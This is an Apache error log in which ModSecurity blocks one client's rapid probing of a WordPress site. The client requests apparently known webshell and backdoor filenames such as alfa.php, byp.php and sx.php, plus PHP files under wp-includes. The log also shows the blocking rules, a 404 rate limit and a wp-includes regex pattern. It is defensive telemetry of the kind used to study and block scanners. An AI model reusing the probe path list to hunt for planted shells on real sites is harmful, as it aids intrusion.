[Sat Feb 28 16:22:13.184445 2026] [:error] [pid 49763:tid 49773] [client 20.220.232.101:24732] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/abcd.php"] [unique_id "aaKltbTHSOG_yf2PpqHkCwAAAcc"]
[Sat Feb 28 16:22:15.583694 2026] [:error] [pid 22194:tid 22213] [client 20.220.232.101:64438] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/abcd.php"] [unique_id "aaKlt36mbajs3bzQGytv6QAAAVE"]
[Sat Feb 28 16:22:19.092426 2026] [:error] [pid 11791:tid 11805] [client 20.220.232.101:64402] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/abcd.php"] [unique_id "aaKlu2uX5e1Q32gqxH1yxwAAAQw"]
[Sat Feb 28 16:22:20.765607 2026] [:error] [pid 39292:tid 39300] [client 20.220.232.101:25336] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/autoload_classmap.php"] [unique_id "aaKlvKIAO5fN7BxyqcEUJgAAAMY"]
[Sat Feb 28 16:22:23.560243 2026] [:error] [pid 39184:tid 39221] [client 20.220.232.101:64414] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/autoload_classmap.php"] [unique_id "aaKlv1tZF9Zd_U7easAcngAAAEI"]
[Sat Feb 28 16:22:26.084928 2026] [:error] [pid 22194:tid 22220] [client 20.220.232.101:59654] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/autoload_classmap.php"] [unique_id "aaKlwn6mbajs3bzQGytv_QAAAVg"]
[Sat Feb 28 16:22:27.563247 2026] [:error] [pid 49763:tid 49782] [client 20.220.232.101:64422] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/autoload_classmap.php"] [unique_id "aaKlw7THSOG_yf2PpqHkjwAAAdA"]
[Sat Feb 28 16:22:28.609562 2026] [:error] [pid 39184:tid 39231] [client 20.220.232.101:24729] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/inputs.php"] [unique_id "aaKlxFtZF9Zd_U7easAcrQAAAEw"]
[Sat Feb 28 16:22:29.448460 2026] [:error] [pid 39183:tid 39198] [client 20.220.232.101:25294] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/inputs.php"] [unique_id "aaKlxRCf4HvhVePw3LYcCQAAAAY"]
[Sat Feb 28 16:22:30.315001 2026] [:error] [pid 22194:tid 22215] [client 20.220.232.101:64418] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/inputs.php"] [unique_id "aaKlxn6mbajs3bzQGytwBQAAAVM"]
[Sat Feb 28 16:22:31.096274 2026] [:error] [pid 39292:tid 39311] [client 20.220.232.101:25292] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/inputs.php"] [unique_id "aaKlx6IAO5fN7BxyqcEUMwAAANE"]
[Sat Feb 28 16:22:32.262716 2026] [:error] [pid 39185:tid 39256] [client 20.220.232.101:25282] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/about.php"] [unique_id "aaKlyBVE-FfM89u7BQZkPwAAAIo"]
[Sat Feb 28 16:22:33.026781 2026] [:error] [pid 52460:tid 52473] [client 20.220.232.101:25251] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/about.php"] [unique_id "aaKlybLWOogAgHGh62SnwgAAAYo"]
[Sat Feb 28 16:22:35.986197 2026] [:error] [pid 39183:tid 39209] [client 20.220.232.101:25284] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/about.php"] [unique_id "aaKlyxCf4HvhVePw3LYcDwAAABE"]
[Sat Feb 28 16:22:37.419744 2026] [:error] [pid 49763:tid 49790] [client 20.220.232.101:25334] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/about.php"] [unique_id "aaKlzbTHSOG_yf2PpqHkrgAAAdg"]
[Sat Feb 28 16:22:38.522244 2026] [proxy_fcgi:error] [pid 39184:tid 39223] [client 20.220.232.101:24741] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 16:22:39.589188 2026] [proxy_fcgi:error] [pid 39184:tid 39225] [client 20.220.232.101:24741] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 16:22:39.796917 2026] [proxy_fcgi:error] [pid 39184:tid 39241] [client 20.220.232.101:24741] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 16:22:40.229027 2026] [proxy_fcgi:error] [pid 39184:tid 39232] [client 20.220.232.101:24741] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 16:22:40.453620 2026] [proxy_fcgi:error] [pid 39184:tid 39236] [client 20.220.232.101:24741] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 16:22:40.885227 2026] [:error] [pid 39184:tid 39239] [client 20.220.232.101:24741] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sx.php"] [unique_id "aaKl0FtZF9Zd_U7easAc3QAAAFQ"]
[Sat Feb 28 16:22:42.388254 2026] [:error] [pid 39292:tid 39309] [client 20.220.232.101:25219] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sx.php"] [unique_id "aaKl0qIAO5fN7BxyqcEUWQAAAM8"]
[Sat Feb 28 16:22:44.148063 2026] [:error] [pid 39184:tid 39231] [client 20.220.232.101:25262] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sx.php"] [unique_id "aaKl1FtZF9Zd_U7easAc6gAAAEw"]
[Sat Feb 28 16:22:46.886502 2026] [:error] [pid 39183:tid 39194] [client 20.220.232.101:64445] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sx.php"] [unique_id "aaKl1hCf4HvhVePw3LYcFwAAAAI"]
[Sat Feb 28 16:22:50.160264 2026] [:error] [pid 11791:tid 11810] [client 20.220.232.101:25263] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aaKl2muX5e1Q32gqxH1y6wAAARE"]
[Sat Feb 28 16:22:53.370261 2026] [:error] [pid 22194:tid 22208] [client 20.220.232.101:24708] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aaKl3X6mbajs3bzQGytwPQAAAUw"]
[Sat Feb 28 16:22:57.849087 2026] [:error] [pid 11791:tid 11798] [client 20.220.232.101:25268] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aaKl4WuX5e1Q32gqxH1y_AAAAQU"]
[Sat Feb 28 16:23:00.910370 2026] [:error] [pid 39183:tid 39204] [client 20.220.232.101:25280] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aaKl5BCf4HvhVePw3LYcLwAAAAw"]
[Sat Feb 28 16:23:02.472505 2026] [:error] [pid 49763:tid 49787] [client 20.220.232.101:64417] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/alfa.php"] [unique_id "aaKl5rTHSOG_yf2PpqHlCQAAAdU"]
[Sat Feb 28 16:23:04.303957 2026] [:error] [pid 39184:tid 39240] [client 20.220.232.101:64446] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/alfa.php"] [unique_id "aaKl6FtZF9Zd_U7easAdLQAAAFU"]
[Sat Feb 28 16:23:04.862665 2026] [:error] [pid 49763:tid 49788] [client 20.220.232.101:24713] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/alfa.php"] [unique_id "aaKl6LTHSOG_yf2PpqHlFAAAAdY"]
[Sat Feb 28 16:23:06.216748 2026] [:error] [pid 39183:tid 39210] [client 20.220.232.101:25269] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/alfa.php"] [unique_id "aaKl6hCf4HvhVePw3LYcQQAAABI"]
[Sat Feb 28 16:23:07.132485 2026] [:error] [pid 52460:tid 52463] [client 20.220.232.101:59656] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/1.php"] [unique_id "aaKl67LWOogAgHGh62Sn4QAAAYA"]
[Sat Feb 28 16:23:08.200173 2026] [:error] [pid 39184:tid 39223] [client 20.220.232.101:64432] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/1.php"] [unique_id "aaKl7FtZF9Zd_U7easAdQgAAAEQ"]
[Sat Feb 28 16:23:08.969468 2026] [:error] [pid 39184:tid 39235] [client 20.220.232.101:59674] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/1.php"] [unique_id "aaKl7FtZF9Zd_U7easAdRgAAAFA"]
[Sat Feb 28 16:23:11.479552 2026] [:error] [pid 49763:tid 49768] [client 20.220.232.101:25243] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/1.php"] [unique_id "aaKl77THSOG_yf2PpqHlNQAAAcI"]
[Sat Feb 28 16:23:15.216844 2026] [:error] [pid 39292:tid 39294] [client 20.220.232.101:64435] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/byp.php"] [unique_id "aaKl86IAO5fN7BxyqcEUiQAAAMA"]
[Sat Feb 28 16:23:18.573035 2026] [:error] [pid 39184:tid 39229] [client 20.220.232.101:24763] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/byp.php"] [unique_id "aaKl9ltZF9Zd_U7easAdhAAAAEo"]
[Sat Feb 28 16:23:22.988375 2026] [:error] [pid 49763:tid 49772] [client 20.220.232.101:64425] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/byp.php"] [unique_id "aaKl-rTHSOG_yf2PpqHlUAAAAcY"]
[Sat Feb 28 16:23:26.443631 2026] [:error] [pid 49763:tid 49774] [client 20.220.232.101:64393] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/byp.php"] [unique_id "aaKl_rTHSOG_yf2PpqHlZgAAAcg"]
[Sat Feb 28 16:23:27.766269 2026] [:error] [pid 39183:tid 39208] [client 20.220.232.101:25249] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-trackback.php"] [unique_id "aaKl_xCf4HvhVePw3LYcYgAAABA"]
[Sat Feb 28 16:23:30.599723 2026] [:error] [pid 49763:tid 49789] [client 20.220.232.101:25227] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-trackback.php"] [unique_id "aaKmArTHSOG_yf2PpqHligAAAdc"]
[Sat Feb 28 16:23:32.801272 2026] [:error] [pid 11791:tid 11816] [client 20.220.232.101:25337] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-trackback.php"] [unique_id "aaKmBGuX5e1Q32gqxH1zKQAAARc"]
[Sat Feb 28 16:23:35.960526 2026] [:error] [pid 49763:tid 49772] [client 20.220.232.101:25217] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-trackback.php"] [unique_id "aaKmB7THSOG_yf2PpqHlmAAAAcY"]
[Sat Feb 28 16:23:37.148724 2026] [:error] [pid 49763:tid 49790] [client 20.220.232.101:64426] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/.well-known/index.php"] [unique_id "aaKmCbTHSOG_yf2PpqHlnAAAAdg"]
[Sat Feb 28 16:23:39.897097 2026] [:error] [pid 39292:tid 39300] [client 20.220.232.101:25307] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/.well-known/index.php"] [unique_id "aaKmC6IAO5fN7BxyqcEUwgAAAMY"]
[Sat Feb 28 16:23:40.994647 2026] [proxy_fcgi:error] [pid 39185:tid 39260] [client 20.220.232.101:25231] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 16:23:41.634052 2026] [proxy_fcgi:error] [pid 39185:tid 39269] [client 20.220.232.101:25231] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 16:23:41.838425 2026] [:error] [pid 39185:tid 39246] [client 20.220.232.101:25231] [client 20.220.232.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.agraphics.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aaKmDRVE-FfM89u7BQZkfAAAAIA"]
[Sat Feb 28 16:23:44.334144 2026] [:error] [pid 11791:tid 11810] [client 20.220.232.101:25279] [client 20.220.232.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.agraphics.com.au"] [uri "/wp-includes/SimplePie/wp-login.php"] [unique_id "aaKmEGuX5e1Q32gqxH1zOAAAARE"]
[Sat Feb 28 16:23:47.174850 2026] [:error] [pid 49763:tid 49780] [client 20.220.232.101:25297] [client 20.220.232.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.agraphics.com.au"] [uri "/wp-includes/customize/about.php"] [unique_id "aaKmE7THSOG_yf2PpqHltgAAAc4"]
[Sat Feb 28 16:23:50.930200 2026] [:error] [pid 49763:tid 49780] [client 20.220.232.101:64391] [client 20.220.232.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.agraphics.com.au"] [uri "/wp-includes/style-engine/about.php"] [unique_id "aaKmFrTHSOG_yf2PpqHlyQAAAc4"]
[Sat Feb 28 16:23:53.005697 2026] [proxy_fcgi:error] [pid 39292:tid 39294] [client 20.220.232.101:59661] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 16:23:53.211239 2026] [:error] [pid 39292:tid 39297] [client 20.220.232.101:59661] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/about/function.php"] [unique_id "aaKmGaIAO5fN7BxyqcEU7QAAAMM"]
[Sat Feb 28 16:23:55.051719 2026] [:error] [pid 39183:tid 39193] [client 20.220.232.101:24982] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/about/function.php"] [unique_id "aaKmGxCf4HvhVePw3LYcmgAAAAE"]
[Sat Feb 28 16:23:56.057943 2026] [:error] [pid 49763:tid 49788] [client 20.220.232.101:25260] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/about/function.php"] [unique_id "aaKmHLTHSOG_yf2PpqHl2QAAAdY"]
[Sat Feb 28 16:23:56.874766 2026] [:error] [pid 39184:tid 39239] [client 20.220.232.101:24750] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/about/function.php"] [unique_id "aaKmHFtZF9Zd_U7easAd_wAAAFQ"]
[Sat Feb 28 16:23:57.712880 2026] [:error] [pid 39184:tid 39224] [client 20.220.232.101:25257] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admin/function.php"] [unique_id "aaKmHVtZF9Zd_U7easAeCgAAAEU"]
[Sat Feb 28 16:23:58.978873 2026] [:error] [pid 39185:tid 39261] [client 20.220.232.101:61004] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admin/function.php"] [unique_id "aaKmHhVE-FfM89u7BQZkhwAAAI8"]
[Sat Feb 28 16:24:01.496784 2026] [:error] [pid 39183:tid 39205] [client 20.220.232.101:60933] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admin/function.php"] [unique_id "aaKmIRCf4HvhVePw3LYcpQAAAA0"]
[Sat Feb 28 16:24:04.070225 2026] [:error] [pid 39183:tid 39210] [client 20.220.232.101:59701] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admin/function.php"] [unique_id "aaKmJBCf4HvhVePw3LYcpwAAABI"]
